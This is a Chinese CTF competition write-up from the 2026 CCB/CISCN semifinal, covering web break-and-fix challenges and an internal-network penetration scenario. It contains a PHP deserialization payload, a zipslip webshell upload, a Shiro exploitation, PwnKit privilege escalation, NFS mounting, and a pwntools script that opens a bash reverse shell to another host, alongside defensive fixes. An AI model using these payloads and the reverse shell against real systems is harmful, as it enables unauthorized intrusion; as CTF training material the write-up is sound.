2026ccb&ciscn半决
靠学长带飞进国决了,记录一下经验
AWDP
EasyTime
break

这里双重md5,拿字典爆破出密码是secret,然后可以登入成admin
不过这里其实可以直接改cookie
1
|
Cookie: visited=yes; user=admin
|
也能成功以admin登入

zipslip上传webshell,目录穿越写webshell到/var/www/html,然后ssrf,这里结合源码可以看到80端口还有php服务,直接访问webshell读tmp下flag
fix
没fix上,这里其实想到要杀进程,重启服务使得flask起的py重启成我们写的py,但是没成功
修复的话参考0rays的wp,他们是改secretkey和cookie的字段名,然后把zip上传的方法修改一下

这里服务是会被supervisord自动重启的,不能杀python3,用pkill单杀一个index.py进程就修成
1
2
3
|
#!/bin/bash
mv index.py /app/index.py
pkill -f "/app/index.py"
|
比较简单的题
break
反序列化改cookie就行
1
|
O:4:"User":3:{s:4:"name";s:5:"guest";s:8:"encoding";s:8:"UTF-16BE";s:8:"basePath";s:1:"/";}
|
utf-16be编码传入%00%2F%00f%00l%00a%00g就读到flag了
其他编码应该也行
fix
User.php类里加个wakeup方法把encoding改为utf-8,basedir改为/var/www/html/uploads即可
更变态的是通防能直接防住https://github.com/leohearts/awd-watchbird
1
2
3
4
5
6
7
|
#!/bin/bash
cp ./waf.so /var/www/html
cp ./watchbird.php /var/www/html
php /var/www/html/watchbird.php --install /var/www/html/
|
ISW
可能每个人序号不同
ISW
fscan扫出shirokey,拿工具一把梭,打入内存马到内网,扫描一下发现192.168.45.100这个,stowaway搭内网穿透
1
|
proxychains4 cme smb 192.168.45.100 --users
|
枚举用户直接就能找到一个flag用户,拿到flag,这个赛区一血
后面听别的师傅说suid能提权,pkexec用先知之前的cve是能提权的,这里也有一个flag
CVE-2021-4034是能用工具pwnkit提权的https://github.com/ly4k/PwnKit
内网的192.168.45.100还有很多端口开放
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
192.168.45.100:88 open
192.168.45.100:53 open
192.168.45.100:22 open
192.168.45.100:139 open
192.168.45.100:135 open
192.168.45.100:111 open
192.168.45.100:464 open
192.168.45.100:445 open
192.168.45.100:389 open
192.168.45.100:636 open
192.168.45.100:2049 open
192.168.45.100:3269 open
192.168.45.100:3268 open
192.168.45.100:12345 open
192.168.45.100:20048 open
192.168.45.100:34483 open
192.168.45.100:49154 open
192.168.45.100:49153 open
192.168.45.100:49152 open
192.168.45.100:57291 open
|
这里的2049端口是nfs服务端口
1
2
3
4
|
proxychains4 showmount -e 192.168.45.100 2>/dev/null
结果为:
Export list for 192.168.45.100:
/nfsdir *
|
挂载上面目录就能拿到flag
1
2
3
|
mkdir /hack
mount -t 192.168.45.100:/nfsdir /hack -o nolock
cat /hack/flag
|
然后这里还有12345端口,外面的机器192.168.45.50拿到root后也有一个agent服务监听12345端口
1
2
3
4
5
6
7
8
9
10
11
12
13
|
from pwn import *
from pwn import *
context(log_level = 'debug', os = 'linux', arch = 'amd64')
io = remote('192.168.45.100',12345)
io.send(b"RCE_AUTH_2026")
sleep(2)
io.sendline(b'bash -i >& /dev/tcp/192.168.45.50/4444 0>&1')
sleep(1)
exit(0)
|
反弹shell就能拿到flag
这里弹shell之后,再进行内网扫描,是能扫到192.168.77.45这台机子开80服务的,应该就是最后一个flag的位置了
ISW1
fscan扫到一个目录穿越的poc,测试一血确实存在,后面探测半天觉得是pwn,给pwn手没成功利用打rop就没下文了,不过看0rays他们的wp是能栈迁移到堆上rop,写私钥连靶机
不过别的师傅好像通过取证方式也能做,任意文件读到/dev/sda3
Linux中硬盘以及分区等设备均表示为文件,其命名规则如下:
- IDE磁盘的文件名为:/dev/hdxx
- SCSI/SATA/USB磁盘文件名为:/dev/sdxx

1
2
3
4
5
6
7
8
9
|
/dev/hda #表示第一个IDE硬盘
/dev/hda1 #表示第一块IDE硬盘的第一个主分区
/dev/hda2 #表示第一块IDE硬盘的扩展分区(或第二个主分区)
/dev/hda5 #表示第一块IDE硬盘的第一个逻辑分区
/dev/hda8 #表示第一块IDE硬盘的第四个逻辑分区
/dev/hdb #表示第二个IDE硬盘
/dev/sda #表示第一个SCSI硬盘
/dev/sda1 #表示第一个SCSI硬盘的第一个主分区
/dev/sdd3 #表示第四个SCSI硬盘的第三个主分区
|
具体知道挂载在哪里还是要查看/etc/fstab
比如
1
2
3
4
5
6
|
/etc/fstab
# <file system> <dir> <type> <options> <dump> <pass>
tmpfs /tmp tmpfs nodev,nosuid 0 0
/dev/sda1 / ext4 defaults,noatime 0 1
/dev/sda2 none swap defaults 0 0
/dev/sda3 /home ext4 defaults,noatime 0 2
|
这里应该就能查询到谁挂载了根目录,然后磁盘取证掏rstudio这类工具就能梭哈了